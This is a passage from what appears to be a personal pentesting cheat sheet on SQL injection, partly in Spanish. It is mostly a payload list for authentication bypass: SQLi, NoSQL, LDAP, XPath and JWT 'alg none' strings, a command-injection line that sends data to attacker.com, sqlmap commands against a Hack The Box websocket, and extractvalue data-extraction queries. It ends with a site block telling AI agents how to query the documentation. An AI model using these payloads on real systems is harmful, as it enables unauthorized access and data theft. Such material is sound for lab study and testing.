" %}
// Inyecciones SQL Clásicas (MySQL, PostgreSQL, MSSQL, etc.)
' OR '1'='1'-- -
' OR 1=1#
' OR 1=1--
admin'--
' UNION SELECT 1, 'admin', 'passwordhash'-- -
' OR SLEEP(5)-- - (Time-Based Blind SQLi)
// Variantes con codificación URL (SQLi)
%27%20OR%201%3D1--%20-
%27%20UNION%20SELECT%201,user(),3--%20-
// NoSQL Injection (MongoDB, CouchDB, etc.)
username[$ne]=admin&password[$ne]=admin
{"username": "admin", "password": {"$ne": "Intrusionz3r0"}}
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": "admin", "password": {"$regex": "^.*"}}
{"$where": "true"}
{"username": {"$exists": true}, "password": {"$exists": true}}
{"username": "admin", "password": {"$gt": ""}}
// NoSQL Injection en URL/Formularios
username=admin&password[$gt]=
username[$regex]=^a&password[$ne]=1
// JavaScript/JSON Injection (APIs, Lógica de Aplicación)
admin' || 1==1//
admin' || '1'==='1'//
admin' || 1==1%00
{"username": "admin", "password": {"toString": "1"}} (Abuso de prototipos)
// JWT Token Manipulation
{"alg":"none"} + payload: {"user":"admin","isAdmin":true}
// LDAP Injection (Autenticación LDAP)
*)(uid=*))(|(uid=*
admin)(&)
*)(objectClass=*))(&(uid=admin
// OS Command Injection (Ejecución de comandos)
; curl https://attacker.com/exfiltrate
`id > /tmp/exploit`
$(whoami)
// XPath Injection (XML/XPath)
' or 1=1 or 'a'='a
' | //user[username='admin' and password='' or '1'='1']
//Bypass de Autenticación con Lógica de Aplicación
// Cookie Manipulation
Cookie: isAdmin=true; session=legit_session
// Header Injection
X-Forwarded-For: 127.0.0.1
// Técnicas Adicionales
// Bypass de 2FA
' OR (SELECT COUNT(*) FROM users WHERE username='admin')=1-- -
// Bypass de CAPTCHA
captcha=1&username=admin'-- -&password=any
## Socket SQLmap
```sh
#try connect to socker
wscat -c soc-player.soccer.htb:9000/ws
sqlmap -u 'ws://soc-player.soccer.htb:9000' --data '{"id":"*"}' --batch
```
## Useful Resources
#### Web Page to test SQL Queries
{% embed url="" %}
**Port Portswigger**
{% embed url="" %}
## Miscellaneous
{% code overflow="wrap" %}
```
if you are using extractvalue use concat(0x0a, value) to be able to retrived the values and additional use limit and substring to move between the strings and limit the amount of data. Example: Monitored HTB Machine
```
{% endcode %}
**Mysql Concatenation**: group\_concat(0x0a,value)
**Mysql Limitation value:** limit 0,1
#### ExtractValue example
```bash
id=1 or extractvalue(1,(QUERY HERE))-- -
id=1 or extractvalue(1,(select group_concat(schema_name) from information_schema.schemata))-- -
```
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://intrusionz3r0.gitbook.io/intrusionz3r0/hacking-web/vulnerabilities/database-injections/sql-injection.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.